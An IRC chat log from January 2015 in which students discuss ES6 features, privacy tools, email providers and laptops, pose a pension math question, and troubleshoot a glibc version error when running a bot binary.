[2015-01-06T13:16:17-0500] <@awe> Presumably entirely by the same sorts of people who make these stupid lists on GH.
[2015-01-06T13:16:57-0500] <@awe> i.e. high school students who think that somehow this is a contribution to the open source community
[2015-01-06T13:29:41-0500] <alokpathy> 300 stars? .-.
[2015-01-06T13:32:13-0500] <@awe> Yup.
[2015-01-06T13:35:18-0500] <@awe> Because he posted it on HN where it was seen by many other likeminded "programmers"
[2015-01-06T13:36:27-0500] <alokpathy> Oh, yeah, he posted it in HH too
[2015-01-06T13:36:37-0500] <alokpathy> HH or HSH
[2015-01-06T13:36:46-0500] <alokpathy> I don't remember which
[2015-01-06T13:37:22-0500] <@awe> Sounds about right.
[2015-01-06T13:52:29-0500] <alokpathy> gdi
[2015-01-06T13:57:43-0500] <@awe> alokpathy: ?
[2015-01-06T13:58:25-0500] <+JacobEdelman> people on hsh tend to love node
[2015-01-06T13:58:26-0500] <+JacobEdelman> also
[2015-01-06T13:58:33-0500] <+JacobEdelman> es6 looks awesome!
[2015-01-06T13:58:49-0500] <+JacobEdelman> once es6 comes out I will no longer have a reason to use python
[2015-01-06T13:58:52-0500] <+JacobEdelman> (except for math)
[2015-01-06T13:58:55-0500] <alokpathy> I want 300 stars too
[2015-01-06T13:59:26-0500] <+JacobEdelman> alokpathy: es6 is so cool!
[2015-01-06T13:59:35-0500] <+JacobEdelman> alokpathy: (next version of js)
[2015-01-06T13:59:55-0500] <@awe> Yes, we all know it's called EMCAScript.
[2015-01-06T14:00:08-0500] <+JacobEdelman> https://github.com/lukehoban/es6features
[2015-01-06T14:00:12-0500] <+JacobEdelman> it has tail recursion!
[2015-01-06T14:00:17-0500] <+JacobEdelman> and arrow functions!
[2015-01-06T14:00:26-0500] <+JacobEdelman> and cool proxies!
[2015-01-06T14:02:10-0500] <@awe> Does it have a type system?
[2015-01-06T14:02:20-0500] <@awe> Integers?
[2015-01-06T14:06:40-0500] <@awe> They added the unicode format that Rust uses.
[2015-01-06T14:06:45-0500] <@awe> "\u{20BB7}"
[2015-01-06T14:08:12-0500] <+JacobEdelman> Destructuring!
[2015-01-06T14:10:04-0500] <+JacobEdelman> I think I'm gonna write lark in this
[2015-01-06T14:10:10-0500] <+JacobEdelman> it's so cool!
[2015-01-06T14:37:44-0500] <@awe> JacobEdelman: you're still going to be significantly slower than JS.
[2015-01-06T14:38:03-0500] <+JacobEdelman> I doubt it will be hugely slower
[2015-01-06T14:38:20-0500] <+JacobEdelman> the string parsing should be a linear with the length of the program now
[2015-01-06T14:38:34-0500] <+JacobEdelman> the actual execution is done by tree manipulation
[2015-01-06T14:38:35-0500] <@awe> Define hugely.
[2015-01-06T14:38:44-0500] <+JacobEdelman> it should be around 10x maybe
[2015-01-06T14:38:47-0500] <@awe> That's still really bad.
[2015-01-06T14:38:53-0500] <+JacobEdelman> its not meant to be fast
[2015-01-06T14:38:59-0500] <@awe> It's not meant to be good either.
[2015-01-06T14:39:03-0500] <@awe> So, I'm not sure what it's meant to be.
[2015-01-06T14:39:07-0500] <+JacobEdelman> it's meant to be cool
[2015-01-06T14:39:09-0500] <+JacobEdelman> now sh
[2015-01-06T14:41:17-0500] <@awe> A language that's all but unusable for anything isn't really cool.
[2015-01-06T14:48:07-0500] <Hyper> Why not?
[2015-01-06T14:48:10-0500] <Hyper> Malbolge is cool
[2015-01-06T14:48:38-0500] <@awe> Not really.
[2015-01-06T14:48:42-0500] <@awe> It's funny to chuckle at.
[2015-01-06T14:48:47-0500] <@awe> And then you carry on with your life.
[2015-01-06T15:06:04-0500] <@awe> What fun things could I do with a long-range directional router and a beaglebone black?
[2015-01-06T15:10:55-0500] <Hyper> wardriving
[2015-01-06T15:14:24-0500] <@awe> [15:06:50]  <&Bui>	Some kind of wardriving tool.
[2015-01-06T15:14:25-0500] <@awe> kek
[2015-01-06T15:16:12-0500] <@awe> I could meshnet with it, too.
[2015-01-06T15:16:20-0500] <@awe> If I knew anyone on my campus who would do it with me.
[2015-01-06T16:59:43-0500] <nezorg> has anyone here used slack?
[2015-01-06T16:59:53-0500] <nezorg> I've heard it's nice but have so far not heard why it's better than irc
[2015-01-06T17:01:26-0500] <nezorg> I guess it's basically a polished irc with nice clients?
[2015-01-06T17:02:53-0500] <nezorg> it seems kinda expensive for what it is
[2015-01-06T17:22:23-0500] <alokpathy> slack.com?
[2015-01-06T17:23:41-0500] <@awe> I use Slack for MLR.
[2015-01-06T17:23:47-0500] <@awe> You can connect over IRC.
[2015-01-06T17:23:59-0500] <@awe> Honestly, I don't like it much.
[2015-01-06T17:24:19-0500] <@awe> It's just IRC for laymen, basically.
[2015-01-06T17:25:02-0500] <@awe> In practice, I use it almost exclusively over IRC.
[2015-01-06T17:25:16-0500] <@awe> Plus I get annoying emails about pings.
[2015-01-06T17:56:15-0500] <alokpathy> Wait jwoglom 19 people in the hospital? o.o
[2015-01-06T17:56:38-0500] <jwoglom> on further confirmation the hospital part appears to have been a rumor
[2015-01-06T17:56:49-0500] <jwoglom> from what i've heard that didn't actually happen
[2015-01-06T17:56:56-0500] <jwoglom> but still, two buses got in crashes on the way to the school
[2015-01-06T17:57:01-0500] <jwoglom> and plenty of others got stuck
[2015-01-06T17:57:13-0500] <jwoglom> this morning was a complete mess
[2015-01-06T17:57:49-0500] <jwoglom> FCPS apologized, and then made an even larger apology; and i've never seen them do that before
[2015-01-06T17:59:05-0500] <alokpathy> Franklin County Public Schools? (complete guess here)
[2015-01-06T18:10:55-0500] <ubuntor> time for noscript
[2015-01-06T18:15:26-0500] <nezorg> ubuntor: context?
[2015-01-06T18:15:58-0500] <ubuntor> got a new firefox profile, because old one had issues
[2015-01-06T18:16:21-0500] <nezorg> and you're using noscript?
[2015-01-06T18:16:28-0500] <nezorg> I have it on my laptop under linux
[2015-01-06T18:16:37-0500] <nezorg> but I'm beginning to question whether it's worth the annoyance
[2015-01-06T18:17:25-0500] <ubuntor> used noscript on permit everything before
[2015-01-06T18:17:29-0500] <ubuntor> but that's pretty useless
[2015-01-06T18:17:32-0500] <nezorg> ...yeah :P
[2015-01-06T18:17:52-0500] <nezorg> I like privacy badger -- not the same for security, but similar for privacy
[2015-01-06T18:18:04-0500] <ubuntor> yeah
[2015-01-06T18:18:10-0500] <nezorg> <3 eff
[2015-01-06T18:18:25-0500] <nezorg> (I'm literally a card-carrying member :P)
[2015-01-06T18:18:29-0500] <ubuntor> oh, nice
[2015-01-06T18:18:56-0500] <nezorg> I got an awesome shirt from them at defcon for becoming a member
[2015-01-06T18:19:57-0500] <nezorg> https://www.eff.org/deeplinks/2014/08/effs-defcon-22-t-shirt-puzzle-explained
[2015-01-06T18:20:11-0500] <nezorg> just look at that amazing design https://www.eff.org/files/2014/08/13/defcon-shirt-snap-1.jpg
[2015-01-06T18:20:18-0500] <ubuntor> woah
[2015-01-06T18:20:43-0500] <ubuntor> that is awesome
[2015-01-06T18:20:58-0500] <nezorg> it's my favorite shirt
[2015-01-06T18:21:03-0500] <nezorg> second is the one I got yesterday
[2015-01-06T18:21:11-0500] <nezorg> http://www.litographs.com/products/brother-tee
[2015-01-06T18:21:19-0500] <@awe> nezorg: I'm a card-carrying member of the ACLU.
[2015-01-06T18:21:35-0500] <nezorg> awe: cool!
[2015-01-06T18:21:43-0500] <nezorg> I wanted to become a member at defcon but I didn't bring enough cash
[2015-01-06T18:21:45-0500] <@awe> I didn't realize EFF had membership cards.
[2015-01-06T18:21:50-0500] <nezorg> eh, they're paper :P
[2015-01-06T18:22:25-0500] <@awe> The ACLU one is, too.
[2015-01-06T18:22:30-0500] <@awe> Why do they cheap out on these membership cards, man?
[2015-01-06T18:22:34-0500] <ubuntor> little brother is such a good book
[2015-01-06T18:22:53-0500] <@awe> I wanted a nice plastic laminated card.
[2015-01-06T18:23:04-0500] <@awe> Or not laminated. I don't know.
[2015-01-06T18:23:09-0500] <@awe> Like a credit card material.
[2015-01-06T18:23:19-0500] <nezorg> awe: one with a trackable rfid chip? :P
[2015-01-06T18:23:40-0500] <nezorg> ubuntor: mhmmm! (can't wait for those free xboxes that you can jailbreak...)
[2015-01-06T18:23:48-0500] <nezorg> also paranoid linux
[2015-01-06T18:24:05-0500] <nezorg> like a persistent version of tails
[2015-01-06T18:24:06-0500] <@awe> nezorg: no, just a plastic card :p
[2015-01-06T18:24:33-0500] <ubuntor> speaking of which, i should read the sequel
[2015-01-06T18:24:52-0500] <nezorg> ubuntor: of course it's not as good as the original, but it's still pretty great
[2015-01-06T18:24:55-0500] <nezorg> so is pirate cinema
[2015-01-06T18:25:04-0500] <nezorg> it makes me feel so inferior though :(
[2015-01-06T18:26:09-0500] <Tamini> nezorg: ru busy
[2015-01-06T18:26:09-0500] <Tamini> or
[2015-01-06T18:26:34-0500] <nezorg> uh, I *should* be doing homework but I don't really have to
[2015-01-06T18:26:45-0500] <Tamini> well i meant like
[2015-01-06T18:26:46-0500] <Tamini> in general
[2015-01-06T18:29:49-0500] <@awe> nezorg: https://en.wikipedia.org/wiki/Tinfoil_Hat_Linux
[2015-01-06T18:30:25-0500] <nezorg> awe: "Latest release	2.0pre1 / February 2002; 12 years ago"
[2015-01-06T18:30:29-0500] <@awe> I know.
[2015-01-06T18:30:48-0500] <@awe> If you want legit security, OpenBSD.
[2015-01-06T18:31:44-0500] <@awe> https://en.wikipedia.org/wiki/Whonix
[2015-01-06T18:31:45-0500] <@awe> This si interesting.
[2015-01-06T18:33:43-0500] <nezorg> ah, I've heard about that setup before
[2015-01-06T18:33:46-0500] <nezorg> not that OS though
[2015-01-06T18:34:23-0500] <nezorg> virtualbox is pain
[2015-01-06T19:00:34-0500] <@awe> Yes.
[2015-01-06T19:00:37-0500] <@awe> Agreed.
[2015-01-06T19:02:11-0500] <@awe> Recommend mail service providers pls.
[2015-01-06T19:04:26-0500] <nezorg> gmail? :P
[2015-01-06T19:05:18-0500] <@awe> What's that?
[2015-01-06T19:05:21-0500] <@awe> I've never heard of it?
[2015-01-06T19:05:33-0500] <nezorg> harhar
[2015-01-06T19:05:42-0500] <nezorg> obviously the bad part is the targeted advertising / prism
[2015-01-06T19:05:57-0500] <nezorg> but on the upside since people at google are generally smart it's unlikely they'll be hacked
[2015-01-06T19:07:48-0500] <@awe> Well, I've all but abandoned Google in everything I do.
[2015-01-06T19:08:00-0500] <@awe> The only two things I use are YouTube very occasionally, and Gmail.
[2015-01-06T19:08:49-0500] <nezorg> I tried for a time
[2015-01-06T19:08:57-0500] <nezorg> I'm not sure whether it's worth it though
[2015-01-06T19:09:04-0500] <@awe> Oh, and Google Hangouts.
[2015-01-06T19:09:09-0500] <nezorg> so many of their services are so useful :(
[2015-01-06T19:09:10-0500] <@awe> But only to talk to a couple people.
[2015-01-06T19:09:13-0500] <@awe> Like?
[2015-01-06T19:09:18-0500] <nezorg> google now
[2015-01-06T19:09:21-0500] <nezorg> gmail
[2015-01-06T19:09:33-0500] <nezorg> calendar (and its integration with other products)
[2015-01-06T19:09:34-0500] <nezorg> inbox
[2015-01-06T19:09:47-0500] <@awe> Ah, fuck. I use Google Calendar a bit too.
[2015-01-06T19:09:50-0500] <@awe> Although mostly not.
[2015-01-06T19:09:51-0500] <jwoglom> inbox is really nice
[2015-01-06T19:09:54-0500] <jwoglom> and hangouts
[2015-01-06T19:09:57-0500] <@awe> I will never use inbox.
[2015-01-06T19:10:03-0500] <nezorg> why not?
[2015-01-06T19:10:04-0500] <@awe> 99% of my calendar stuff is Apple.
[2015-01-06T19:10:14-0500] <nezorg> ...why is apple better than google?
[2015-01-06T19:10:23-0500] <jwoglom> i personally like Google a lot better
[2015-01-06T19:10:24-0500] <@awe> I hate it.
[2015-01-06T19:10:29-0500] <jwoglom> i at least trust them more
[2015-01-06T19:10:32-0500] <@awe> (Inbox)
[2015-01-06T19:10:37-0500] <@awe> I trust Apple more than Google.
[2015-01-06T19:10:42-0500] <@awe> That's the only reason it's better.
[2015-01-06T19:10:49-0500] <@awe> I don't want to use Apple for my email either.
[2015-01-06T19:10:53-0500] <nezorg> why do you trust them more?
[2015-01-06T19:10:57-0500] <nezorg> lack of ad-based model?
[2015-01-06T19:11:04-0500] <@awe> Amongst other things, yeah.
[2015-01-06T19:11:19-0500] <@awe> They just seem more committed to my privacy than Google.
[2015-01-06T19:11:22-0500] <nezorg> well for mail I've heard good things about fastmail
[2015-01-06T19:11:28-0500] <@awe> The ads definitely hurt.
[2015-01-06T19:12:25-0500] <jwoglom> google does cooler stuff imo
[2015-01-06T19:12:50-0500] <nezorg> the integration between their products is what keeps me
[2015-01-06T19:12:53-0500] <jwoglom> I liked pre-iPhone apple, but I don't really like iOS and the direction they're taking OS X
[2015-01-06T19:13:04-0500] <@awe> I like iOS and the direction they're taking OS X. :p
[2015-01-06T19:13:09-0500] <nezorg> google now + gmail + calendar + reminders = happy me
[2015-01-06T19:13:12-0500] <nezorg> well
[2015-01-06T19:13:15-0500] <nezorg> happy practical me
[2015-01-06T19:13:17-0500] <nezorg> unhappy idealistic me
[2015-01-06T19:13:18-0500] <@awe> nezorg: that's worthless to me because I specifically don't want all my eggs in one basket.
[2015-01-06T19:13:32-0500] <jwoglom> awe: how much stuff do you put in the apple basket?
[2015-01-06T19:13:33-0500] <nezorg> yeah, I understand that feeling
[2015-01-06T19:13:39-0500] <nezorg> I have it too
[2015-01-06T19:13:42-0500] <bob_twinkles> obviously the solution is to self-host all that stuff
[2015-01-06T19:13:43-0500] <nezorg> it's just too damn useful :(
[2015-01-06T19:13:52-0500] <bob_twinkles> also it's a bitch to run your own mailserver
[2015-01-06T19:13:54-0500] <nezorg> bob_twinkles: self-hosting email seems pretty much impossible
[2015-01-06T19:13:55-0500] <nezorg> yeah
[2015-01-06T19:14:25-0500] <bob_twinkles> I mean you *can*
[2015-01-06T19:14:33-0500] <bob_twinkles> it's just everything goes straight to spam
[2015-01-06T19:14:50-0500] <nezorg> or better yet just isn't delivered
[2015-01-06T19:15:27-0500] <@awe> jwoglom: my phone and my laptop
[2015-01-06T19:15:33-0500] <@awe> jwoglom: and I guess calendar services
[2015-01-06T19:15:42-0500] <@awe> jwoglom: I barely use calendars so I really don't care much about that part.
[2015-01-06T19:16:12-0500] <@awe> jwoglom: I specifically don't use any of Apple's services.
[2015-01-06T19:18:41-0500] <nezorg> did you guys see this? http://www.theverge.com/2015/1/5/7490411/lenovo-lavie-z-notebook-announced-at-ces-2015
[2015-01-06T19:18:48-0500] <nezorg> if I were in the market for a laptop I'd probably get it
[2015-01-06T19:19:06-0500] <nezorg> or maybe this http://www.theverge.com/2015/1/6/7501385/dell-xps-13-2015-edition-announced-at-ces-2015
[2015-01-06T19:22:15-0500] <@awe> Probably would not buy.
[2015-01-06T19:22:29-0500] <@awe> I'd like to get an OpenBSD machine.
[2015-01-06T19:26:28-0500] <bob_twinkles> why does everyone want a laptop so thin you can cut yourself on it
[2015-01-06T19:29:23-0500] <jwoglom> bob_twinkles: you see the rumored new macbook air?
[2015-01-06T19:29:35-0500] <@awe> bob_twinkles: it's also light.
[2015-01-06T19:29:38-0500] <jwoglom> it's rediculous looking
[2015-01-06T19:29:46-0500] <+JacobEdelman> pic?
[2015-01-06T19:29:49-0500] <jwoglom> http://9to5mac.com/2015/01/06/macbook-air-12-inch-redesign/
[2015-01-06T19:30:00-0500] <jwoglom> i like the fact that it's thinner and has a better display and all
[2015-01-06T19:30:19-0500] <jwoglom> but literally 2 ports -- headphone jack and new usb3?! nope.
[2015-01-06T19:30:32-0500] <@awe> I really don't need more than that.
[2015-01-06T19:31:00-0500] <jwoglom> you'd probably need to use some adapter thing if you wanted to do any 2 of charge, connect USB, and connect a monitor
[2015-01-06T19:31:21-0500] <@awe> Yeah.
[2015-01-06T19:31:22-0500] <jwoglom> and even if you want to just plug in any regular usb device you'd need to keep an adapter on you
[2015-01-06T19:31:33-0500] <jwoglom> because nothing uses the new type c
[2015-01-06T19:31:45-0500] <bob_twinkles> also I like having an ethernet port
[2015-01-06T19:31:47-0500] <jwoglom> and no magsafe, which is actually quite useful
[2015-01-06T19:31:58-0500] <jwoglom> bob_twinkles: i do too, but i've been able to manage with a usb one
[2015-01-06T19:32:10-0500] <jwoglom> (i have a 2012 mbair)
[2015-01-06T19:32:13-0500] <@awe> I haven't used one in a long time.
[2015-01-06T19:32:14-0500] <bob_twinkles> but fidlybits =(
[2015-01-06T19:32:31-0500] <@awe> And haven't missed it either.
[2015-01-06T19:33:34-0500] <bob_twinkles> meh
[2015-01-06T19:33:50-0500] <@awe> I'd probably prefer two usb ports, I guess.
[2015-01-06T19:33:59-0500] <@awe> But not going to lie, I almost never use any of the ports on my laptop.
[2015-01-06T19:36:11-0500] <bob_twinkles> I'm using 3 USB ports, VGA and ethernet right now on my laptop
[2015-01-06T19:36:23-0500] <@awe> Wow.
[2015-01-06T19:36:26-0500] <bob_twinkles> so... I don't think a mbair is the laptop for me =P
[2015-01-06T19:36:32-0500] <@awe> Yeah, no.
[2015-01-06T19:41:36-0500] <jwoglom> I use power, headphone, usb for ethernet, and mini displayport when i'm at my desk
[2015-01-06T19:41:42-0500] <jwoglom> i often use every port :P
[2015-01-06T19:41:53-0500] <@awe> I have a desktop.
[2015-01-06T19:42:06-0500] <jwoglom> i don't have any decent working ones
[2015-01-06T19:42:08-0500] <@awe> Does that have something to do with why I don't ever need any of that?
[2015-01-06T19:42:09-0500] <jwoglom> laptop all the time!
[2015-01-06T19:43:03-0500] <@awe> I use my laptop most of the time without all that stuff though.
[2015-01-06T19:43:55-0500] <bob_twinkles> probably
[2015-01-06T19:44:33-0500] <bob_twinkles> I'd like to get a desktop but I'm leaving for college sometime later this year so... doesn't seem like a great idea
[2015-01-06T19:44:35-0500] <@awe> But if I do need a larger display and stuff, I just hop on my desktop.
[2015-01-06T19:44:41-0500] <@awe> It's not that bad.
[2015-01-06T19:44:50-0500] <@awe> And this is coming from someone who had to drive their computer cross-country.
[2015-01-06T19:46:41-0500] <nezorg> single usb type c, wat
[2015-01-06T19:46:41-0500] <+JacobEdelman> LittleBobbyTables: you've been quiet lately, you there
[2015-01-06T19:46:49-0500] <Tamini> yea
[2015-01-06T19:46:58-0500] <Tamini> he was here last night
[2015-01-06T19:47:00-0500] <nezorg> although I do like the idea of having just usb type c, but I'd like there to be more than one
[2015-01-06T19:47:16-0500] <jwoglom> nezorg: it's apple, who would possibly need more than one? :P
[2015-01-06T19:47:28-0500] <jwoglom> also according to rumors it would triple as USB, power, and external monitor output
[2015-01-06T19:47:42-0500] <nezorg> yeah
[2015-01-06T19:47:51-0500] <nezorg> that's why I really love type c
[2015-01-06T19:47:53-0500] <nezorg> it can do everything
[2015-01-06T19:48:03-0500] <nezorg> but still, I don't want to always carry around a hub
[2015-01-06T19:48:20-0500] <nezorg> I guess it'll come with some sort of breakout station?
[2015-01-06T19:48:34-0500] <jwoglom> i suppose
[2015-01-06T19:48:38-0500] <nezorg> if it just came with a power cord you wouldn't be able to plug anything in while you're charging which seems weird
[2015-01-06T20:47:54-0500] <@awe> Okay, guys.
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[2015-01-06T20:47:56-0500] <@awe> I have a math problem for you.
[2015-01-06T20:49:21-0500] • hardmath123: just twiddled the default colors on Terminal.app.
[2015-01-06T20:49:31-0500] <+hardmath123> Everything looks delicious when you turn down the saturation <3
[2015-01-06T20:52:36-0500] <@awe> Bobby Johnson has a choice of pensions for his government job. He can either contribute 7.5% of his salary and get a pension of years of service * final average salary * 2% or contribute 10.3% and get a pension of years of service * final average salary * 2.5%. Which of these is most likely to give the greatest yield?
[2015-01-06T20:53:32-0500] <+hardmath123> Does "final average salary" include or exclude the donation?
[2015-01-06T20:55:15-0500] <@awe> Include.
[2015-01-06T20:55:23-0500] <@awe> It's what he's actually getting paid.
[2015-01-06T20:55:43-0500] <@awe> So, if he ended his career with $70,000/year and was contributing 7.5%, it'd still be based off of the $70,000.
[2015-01-06T20:56:00-0500] <+hardmath123> Alright.
[2015-01-06T20:57:10-0500] <+JacobEdelman> my math says he will make the most of money if he doesn't work at all
[2015-01-06T20:57:18-0500] <+JacobEdelman> although i may have done something wrong
[2015-01-06T20:57:21-0500] <+JacobEdelman> :P
[2015-01-06T21:00:03-0500] <+hardmath123> Umm I'd say second, but I'm guessing there's a catch.
[2015-01-06T21:01:49-0500] <@awe> What do you mean catch?
[2015-01-06T21:02:54-0500] <+hardmath123> As in, there's a chance that you're asking a question that is acually deeper than a naive computation.
[2015-01-06T21:04:38-0500] <@awe> Well, a bit, yeah.
[2015-01-06T21:05:03-0500] <@awe> Even if the yield is slightly more in the second one, it might be more useful to have more money on hand when you're younger especially if you don't have a lot of savings.
[2015-01-06T21:10:11-0500] <+JacobEdelman> wait, is this a legit question that you're considering?
[2015-01-06T21:10:19-0500] <@awe> Yes.
[2015-01-06T21:10:24-0500] <@awe> Contribute an answer.
[2015-01-06T21:13:40-0500] <+JacobEdelman> no idea
[2015-01-06T21:13:45-0500] <+JacobEdelman> I would need more details
[2015-01-06T21:13:50-0500] <+JacobEdelman> also, this scares me: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/uneval
[2015-01-06T21:13:52-0500] <+JacobEdelman> now gnight
[2015-01-06T21:14:01-0500] <The_Master> gnight
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[2015-01-06T21:16:24-0500] <@awe> JacobEdelman: what more details?
[2015-01-06T21:17:23-0500] <ubuntor> ooh, chrome segfaults
[2015-01-06T21:29:57-0500] <+hardmath123> awe: ah, I see why this is nontrivial now. You need to maximize both the amount of money he earns before retiring *and* the pension. I was just thinking about maximizing the pension.
[2015-01-06T21:31:59-0500] <@awe> Yeah.
[2015-01-06T21:32:04-0500] <@awe> Hence: yield.
[2015-01-06T21:32:15-0500] <@awe> Obviously the latter one is better for a higher pension.
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[2015-01-06T21:34:53-0500] <@awe> hardmath123: I geuss yield wasn't really clear language come to think of it.
[2015-01-06T21:43:57-0500] <+hardmath123> (Do you have a mailbot binary compiled for Linux?)
[2015-01-06T21:44:26-0500] <@awe> Yes.
[2015-01-06T21:44:29-0500] <@awe> The one that's running.
[2015-01-06T21:44:30-0500] <@awe> Why?
[2015-01-06T21:45:43-0500] <+hardmath123> I wanted to run an instance on a different channel (different server, too).
[2015-01-06T21:45:52-0500] <@awe> Yeah, sure.
[2015-01-06T21:47:31-0500] <@awe> If you want him on multiple channels here, just let me know.
[2015-01-06T21:50:49-0500] <@awe> hardmath123: https://dl.dropboxusercontent.com/u/8097711/mailbot-latest.zip
[2015-01-06T21:50:57-0500] <@awe> hardmath123: there's the latest version of mailbot with a sample config file.
[2015-01-06T21:51:40-0500] <@awe> hardmath123: erm
[2015-01-06T21:51:57-0500] <@awe> hardmath123: gotta change the nick password for mailbot now. xD
[2015-01-06T21:53:54-0500] <alokpathy> No no it can stay.
[2015-01-06T21:53:56-0500] <alokpathy> We're okay with that.
[2015-01-06T21:54:04-0500] <alokpathy> :3
[2015-01-06T21:55:34-0500] <+hardmath123> ./mailbot: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.14' not found (required by ./mailbot)
[2015-01-06T21:56:06-0500] <+hardmath123> followed by
[2015-01-06T21:56:08-0500] <+hardmath123> ./mailbot: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.18' not found (required by ./mailbot)
[2015-01-06T21:56:23-0500] <@awe> do you have glibc?
[2015-01-06T21:57:28-0500] <bob_twinkles> hardmath123: pastebin the output of ldd ./mailbot ?
[2015-01-06T21:58:00-0500] <@awe> bob_twinkles: http://sprunge.us/gWTf
[2015-01-06T21:58:24-0500] <@awe> (on a working system)
[2015-01-06T21:58:46-0500] <+hardmath123> bob_twinkles: http://hastebin.com/izocigoseb non a not-working system
[2015-01-06T21:59:12-0500] <@awe> Pretty sure you just don't have GNU lib c installed.
[2015-01-06T21:59:17-0500] <@awe> or an older version.
[2015-01-06T21:59:22-0500] <+hardmath123> sudo apt-get install glibc?
[2015-01-06T21:59:39-0500] <@awe> build-essentials, I think?
[2015-01-06T21:59:57-0500] <bob_twinkles> I think his system would be horribly broken without glibc, seeing as how it's the usual standard C library implementation
[2015-01-06T22:00:01-0500] <bob_twinkles> apt-cache search glibc
[2015-01-06T22:00:14-0500] <@awe> Probably dated.
[2015-01-06T22:00:50-0500] <bob_twinkles> weeeeel the 2.14 release was in 2011
[2015-01-06T22:00:58-0500] <bob_twinkles> so hopefully he's got something newer than that...
[2015-01-06T22:00:59-0500] <+hardmath123> "libc6 - Embedded GNU C Library: Shared libraries" is one of the lines
[2015-01-06T22:01:23-0500] <bob_twinkles> listed as installed, right?
[2015-01-06T22:01:29-0500] <bob_twinkles> or wait
[2015-01-06T22:01:33-0500] <bob_twinkles> does apt-cache not tell you
[2015-01-06T22:01:48-0500] <+hardmath123> apt-cache just listed some packages and descriptions
[2015-01-06T22:03:17-0500] <@awe> hardmath123: /./lib/x86_64-linux-gnu/libc.so.6
[2015-01-06T22:03:30-0500] <@awe> hardmath123: does that work and what version does it print?
[2015-01-06T22:03:36-0500] <+hardmath123> /./?
[2015-01-06T22:03:55-0500] <@awe> My system didn't work when I tried .//lib/x86_64-linux/gnu/libc.so.6
[2015-01-06T22:04:09-0500] <+hardmath123> wouldn't just /lib/... work?
[2015-01-06T22:04:15-0500] <@awe> Basically, try to execute /lib/x86_64-linux/gnu/libcs.so.6
[2015-01-06T22:04:19-0500] <@awe> No, that didn't work either.
[2015-01-06T22:04:21-0500] <@awe> libc.so.6*
[2015-01-06T22:04:23-0500] <+hardmath123> it worked for me
[2015-01-06T22:04:28-0500] <@awe> Okay, well, version?
[2015-01-06T22:04:34-0500] <+hardmath123> "stable release version 2.13"
[2015-01-06T22:04:39-0500] <@awe> update your kernel, fool
[2015-01-06T22:04:57-0500] <+hardmath123> umm
[2015-01-06T22:05:05-0500] <@awe> Pretty sure kernel updates update the system library.
[2015-01-06T22:05:08-0500] <@awe> system c library*
[2015-01-06T22:05:10-0500] <bob_twinkles> holy shit dude that's like... over 4 years old at least
[2015-01-06T22:05:12-0500] <@awe> Yeah.
[2015-01-06T22:05:21-0500] <@awe> hardmath123: are you on a 2.x kernel?
[2015-01-06T22:05:28-0500] <+hardmath123> awe: i have no idea
[2015-01-06T22:05:32-0500] <@awe> hardmath123: should've said form there, too.
[2015-01-06T22:05:35-0500] <@awe> Compiled on a Linux 3.13.11 system on 2014-12-01.
[2015-01-06T22:05:37-0500] <@awe> Something like that.
[2015-01-06T22:05:48-0500] <+hardmath123> Compiled by GNU CC version 4.4.7.
[2015-01-06T22:05:50-0500] <+hardmath123> Compiled on a Linux 3.2.60 system on 2014-10-16.
[2015-01-06T22:05:51-0500] <bob_twinkles> hardmath123: uname -a
[2015-01-06T22:06:02-0500] <@awe> Pls do a system update, hardmath123.
[2015-01-06T22:06:14-0500] <+hardmath123> how
[2015-01-06T22:06:22-0500] <@awe> sudo apt-get dist-upgrade
[2015-01-06T22:06:32-0500] <+hardmath123> will that do a restart?
[2015-01-06T22:06:34-0500] <@awe> N.
[2015-01-06T22:06:39-0500] <+hardmath123> what will that do?
[2015-01-06T22:06:45-0500] <@awe> Update the kernel and stuff.
[2015-01-06T22:07:00-0500] <bob_twinkles> which requires a restart unless you have something like ksplice =P
[2015-01-06T22:07:04-0500] <@awe> Well, yes.
[2015-01-06T22:07:06-0500] <@awe> But it won't DO the restart.
[2015-01-06T22:07:07-0500] <@awe> :D
[2015-01-06T22:07:15-0500] <+hardmath123> oh
[2015-01-06T22:07:16-0500] <bob_twinkles> lol
[2015-01-06T22:07:26-0500] <+hardmath123> see i have no knowledge of managing a linux machine
[2015-01-06T22:07:36-0500] <@awe> Upgrading your kernel is p important.
[2015-01-06T22:07:48-0500] <+hardmath123> it sounds important
[2015-01-06T22:08:04-0500] <@awe> Anyway, once you do that, it should work.
[2015-01-06T22:08:33-0500] <@awe> bob_twinkles: what glibc version are you on?
[2015-01-06T22:08:40-0500] <@awe> Ubuntu seems to be on 2.19 still.
[2015-01-06T22:08:48-0500] <@awe> Even though 2.20 has been out for a while.
[2015-01-06T22:08:57-0500] <@awe> (three months tomorrow)
[2015-01-06T22:09:40-0500] <bob_twinkles> uh.. give me a sec
[2015-01-06T22:09:44-0500] <bob_twinkles> gotta upgrade the pacman database XD
[2015-01-06T22:09:59-0500] <bob_twinkles> 2.20-6
[2015-01-06T22:10:08-0500] <+hardmath123> i pinged my cosysadmin who actually knows what he's talking about
[2015-01-06T22:10:13-0500] <@awe> Right. So, the latest.
[2015-01-06T22:10:36-0500] <@awe> So, I'm back at home and therefore have access to my netbook.
[2015-01-06T22:10:46-0500] <@awe> Should I install OpenBSD on it, set up xmonad, and then take it back to school with me?
[2015-01-06T22:11:18-0500] <bob_twinkles> no harm in trying?
[2015-01-06T22:11:54-0500] <@awe> Lots of wasted time.
[2015-01-06T22:12:08-0500] <@awe> JacobEdelman: "Yearbook is coming tomorrow for pictures. If you want to be a part of the CS Club's Yearbook photo, please come."
[2015-01-06T22:12:15-0500] <@awe> JacobEdelman: DAMMIT WHY CAN'T IT BE NEXT WEEK
[2015-01-06T22:14:01-0500] <+hardmath123> awe: until then I ran it on a different linux server :D
[2015-01-06T22:16:45-0500] <@awe> Sounds good.
[2015-01-06T22:16:50-0500] <@awe> were you trying to run it on backtick?
[2015-01-06T22:17:33-0500] <+hardmath123> yeah
[2015-01-06T22:17:50-0500] <+hardmath123> there are like a dozen dumb bots from backtick
[2015-01-06T22:17:54-0500] <+hardmath123> :D
[2015-01-06T22:18:13-0500] <@awe> Tamini: https://dl.dropboxusercontent.com/u/8097711/pen1.JPG
[2015-01-06T22:18:17-0500] <@awe> Tamini: https://dl.dropboxusercontent.com/u/8097711/pen2.JPG
[2015-01-06T22:18:23-0500] <@awe> I think Pharyngeal also? ^
[2015-01-06T22:20:17-0500] <Tamini> hm?
[2015-01-06T22:20:45-0500] <@awe> look at link?
